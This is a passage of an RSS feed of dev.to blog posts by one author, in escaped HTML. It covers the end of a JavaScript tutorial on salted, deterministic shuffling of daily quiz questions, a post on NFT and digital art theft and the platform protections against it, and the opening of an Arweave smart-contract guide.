  &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;br&gt;
Now we can use this &lt;code&gt;clonedStr&lt;/code&gt; byte values to pick random Indices. Here is how the modified while loop would like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Pick a remaining element.&lt;/span&gt;
    &lt;span class="nx"&gt;randomIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I basically pick the ASCII code of the character and mod it with the length of the array to get a pseudo randomIndex. Since the &lt;code&gt;userId&lt;/code&gt;s are fixed, this loop always shuffles the array in a deterministic manner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;br&gt;
To add additional security, I used a custom Salt value. So even if my algorithm and &lt;code&gt;userId&lt;/code&gt; is exposed. Im relying on the secretly stored environment variable for securing the salt. Here is how I implemented salt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SECRET_SALT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I stuff each byte with my salt so the attacker needs to also get my salt to know his sequence. It might not stop them entirely, but definitely will slow them down significantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The final version
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;moment&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;moment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TOTAL_NUMBER_OF_QUESTIONS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;QUIZ_START_DATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;moment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;20220919&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;YYYYMMDD&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SECRET_SALT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;secretSalt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;multiplier&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;newStr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// While there remain elements to shuffle.&lt;/span&gt;
    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;clonedStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Pick a remaining element.&lt;/span&gt;
        &lt;span class="nx"&gt;randomIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rndSeed&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// And swap it with the current element.&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;randomIndex&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;currentIndex&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getTodaysQuestions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;questionsArray&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TOTAL_NUMBER_OF_QUESTIONS&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;seedString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nf"&gt;shuffle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;questionsArray&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;seedString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;today&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;moment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;today&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;diff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;QUIZ_START_DATE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;days&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;questionsArray&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diff&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;getTodaysQuestions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;noob-master-69&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Thanks for reading. Hope it was useful to you in some way. Please feel free to reach out to me if you want to share improvements or feedbacks. Always happy to know.&lt;br&gt;
Reach out to me via &lt;a href="https://twitter.com/HarishTeens" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>algorithms</category>
    </item>
    <item>
      <title>The Tale of Digital Art Theft - Part1</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 20 Feb 2022 17:42:51 +0000</pubDate>
      <link>https://dev.to/harishteens/the-tale-of-digital-art-theft-part1-3ak1</link>
      <guid>https://dev.to/harishteens/the-tale-of-digital-art-theft-part1-3ak1</guid>
      <description>&lt;p&gt;While NFTs are booming, or probably they could be a bubble. Nobody can tell. What's real is digital art theft! This project tries to solve this problem by gathering and organising information from all appropriate sources. Hence I named this project "The Collective Truth(TCT)".&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem
&lt;/h2&gt;

&lt;p&gt;Let's discuss the NFT Art theft in detail first before we move ahead. There are several ways in which bad actors steal digital art. The two common kinds are Spoofing and Fraud.&lt;/p&gt;

&lt;h3&gt;
  
  
  Spoofing
&lt;/h3&gt;

&lt;p&gt;Bad actors disguise to be the original owner of the art and trick people into buying. Since every art piece is made publicly available, anybody could view it. And if you could view it, you can download it and save a copy. &lt;/p&gt;

&lt;p&gt;For example, Bad actors have bots set up to scrape of new and hot NFTs that are listed and re-mint them on their account. Yes, NFTs are non-transferrable and secure. But no buyer is going to go and look for the token address and make sense out of it. All they see is the art, and if it looks alike. They most probably are going to believe it. Usually these bad actors, go a level above and maintain an appealing social media profile by creating fake accounts that resemble the original creator. It's quite compelling and the rush often gets people into buying something not what the seller is claiming to be.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fraud
&lt;/h3&gt;

&lt;p&gt;The digital art creator community is well aware of the Spoofing problem. This is one of the biggest concerns for creators to not mint an NFT out of their art. They would rather be away from this mess. But unfortunately even the ones who dont mint an NFT get exploited too. &lt;/p&gt;

&lt;p&gt;I found this very depressing story where the bad actor stole the art from the creator's website and sold it to a big company on Fiverr. The big company didn't do their due diligence properly so they believed the person whom they bought it from was the creator. I dont see why they would wanna make any effort into verifying a creator on Fiverr, they would just be happy that get got good art for a lower price. At last, the creator would find about this theft after 3 years when he noticed his art being sold at the company's NFT marketplace. The creator wasn't even making any money out of his work, he was just publishing them for free out of passion. When he found out, he would send emails demanding his art to be taken down immediately. &lt;br&gt;
For the complete story , check this &lt;a href="https://www.youtube.com/watch?v=InlyF4906w0" rel="noopener noreferrer"&gt;video&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  More problems
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Sending fake air-drops on Discord.&lt;/li&gt;
&lt;li&gt;Malicious NFT marketplaces that hijacks your wallet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The problems take various forms, but I realised the root cause of all the problems is that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;There isn't a trusted mapping that could establish the relationship between the art and the creator.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Like I mentioned before, humans cant draw conclusions from the wallet address nor the NFT token address. To our perception, we buy the art solely based on the legitimacy of the creator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Present solutions
&lt;/h2&gt;

&lt;p&gt;After researching a bit, I found these measures at place that sort of solves the problem.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. OpenSea's Portfolio
&lt;/h3&gt;

&lt;p&gt;OpenSea is one of the largest and most used NFT marketplaces on the Ethereum chain. Artists who have been part of the ecosystem enjoy its benefits of having a verified Profile and all their collections at one place.&lt;br&gt;
&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9t877iojo1c9hxserus.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9t877iojo1c9hxserus.png" alt="Image description" width="800" height="332"&gt;&lt;/a&gt;&lt;br&gt;
In the above example Artist page, one can see all the useful statistics like traded volume, number of items..etc&lt;br&gt;
This plays a crucial role in identify the legitimacy of the artist. One can also notice the link to their Twitter account, that adds an additional set of trust. &lt;br&gt;
Honestly, I appreciate the OpenSea team for putting in this much effort. &lt;br&gt;
But I got a few problems with OpenSea.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;OpenSea keeps adding all the features that pulls artists together and the best case we got is they become the next monopoly like Google imposing all the necessary features under their Premium feature. Thats just the best case :)
For NFTs which is supposed to be "decentralised", this future feels like we are the mercy of big corps like this. Now I know Moxie put up some real valid points about this that people dont want to run their servers. So definitely they are not going to build their own security systems. But there just gotta be a better way.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Deviant Art
&lt;/h3&gt;

&lt;p&gt;Deviant Art is another well-known marketplace. They have been in the game even before NFTs were a thing. And they have boarded the NFT wagon once it occurred. I found this article with the amazing title &lt;a href="https://www.deviantart.com/team/journal/Calling-All-Creator-Platforms-to-Fight-Art-Theft-901238948" rel="noopener noreferrer"&gt;Calling All Creator Platforms to Fight Art Theft&lt;/a&gt;. Even before reading through it, I had a good feeling that this is going to be something different. But, it wasn't :/&lt;br&gt;
It was pretty good though, they've implemented a realtime AI engine that goes through all of the uploaded art and detects if there is a similarity to an existing art. If there is a potential spoof, it sends an email to the creator. They call is "DeviantArt Protect". I also read that they are working with other marketplaces to integrate this feature.&lt;br&gt;
Like I said, its pretty good. It's the best in the industry. &lt;/p&gt;

&lt;p&gt;Again the problem is that it is only to users who have their Core Membership.&lt;/p&gt;

&lt;p&gt;I very well understand individuals can't build such tools pouring in millions of dollars and perform full time like their R&amp;amp;D. That's why Youtube is so powerful, they have the most robust Digital fingerprinting technology. It's called Content ID. This is used on Youtube to identify copyrighted content very quick. &lt;/p&gt;

&lt;p&gt;I certainly believe the purpose of decentralisation is to take what the big companies do at scale and decentralise it. If the nodes can solve cryptographic nonce to commit a transaction, they definitely can co-ordinate and do the same compute. Web3 has a long way to go to become mainstream but if the smart engineers keep working around these fundamental problems rather than trying a make a quick buck, we can get there sooner.&lt;/p&gt;

&lt;p&gt;A lot of people probably dont care about this. Others might view them as rants, I won't blame you. Even I feel that way sometimes...&lt;/p&gt;

</description>
      <category>web3</category>
      <category>nft</category>
      <category>digitalart</category>
      <category>hack</category>
    </item>
    <item>
      <title>Beginner's guide to deploy smart contract with an example</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 03 Nov 2021 09:31:53 +0000</pubDate>
      <link>https://dev.to/harishteens/beginners-guide-to-deploy-smart-contract-with-example-4ac0</link>
      <guid>https://dev.to/harishteens/beginners-guide-to-deploy-smart-contract-with-example-4ac0</guid>
      <description>&lt;p&gt;This guide tries to explain how to write and deploy smart contracts to Arweave using Javascript.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fundamentals&lt;/li&gt;
&lt;li&gt;PreRequisites&lt;/li&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Setting up inital state&lt;/li&gt;
&lt;li&gt;Updating state&lt;/li&gt;
&lt;li&gt;Deployment&lt;/li&gt;
&lt;li&gt;Interacting with the contract&lt;/li&gt;
&lt;li&gt;Summary&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Fundamentals &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  What is a smart contract?
&lt;/h4&gt;

&lt;p&gt;Smart contracts are digital substitutes of real world contracts. Once its coded and pushed to the chain, its immuatable, hence cannot be changed!&lt;/p&gt;

&lt;h4&gt;
  
  
  How to write one?
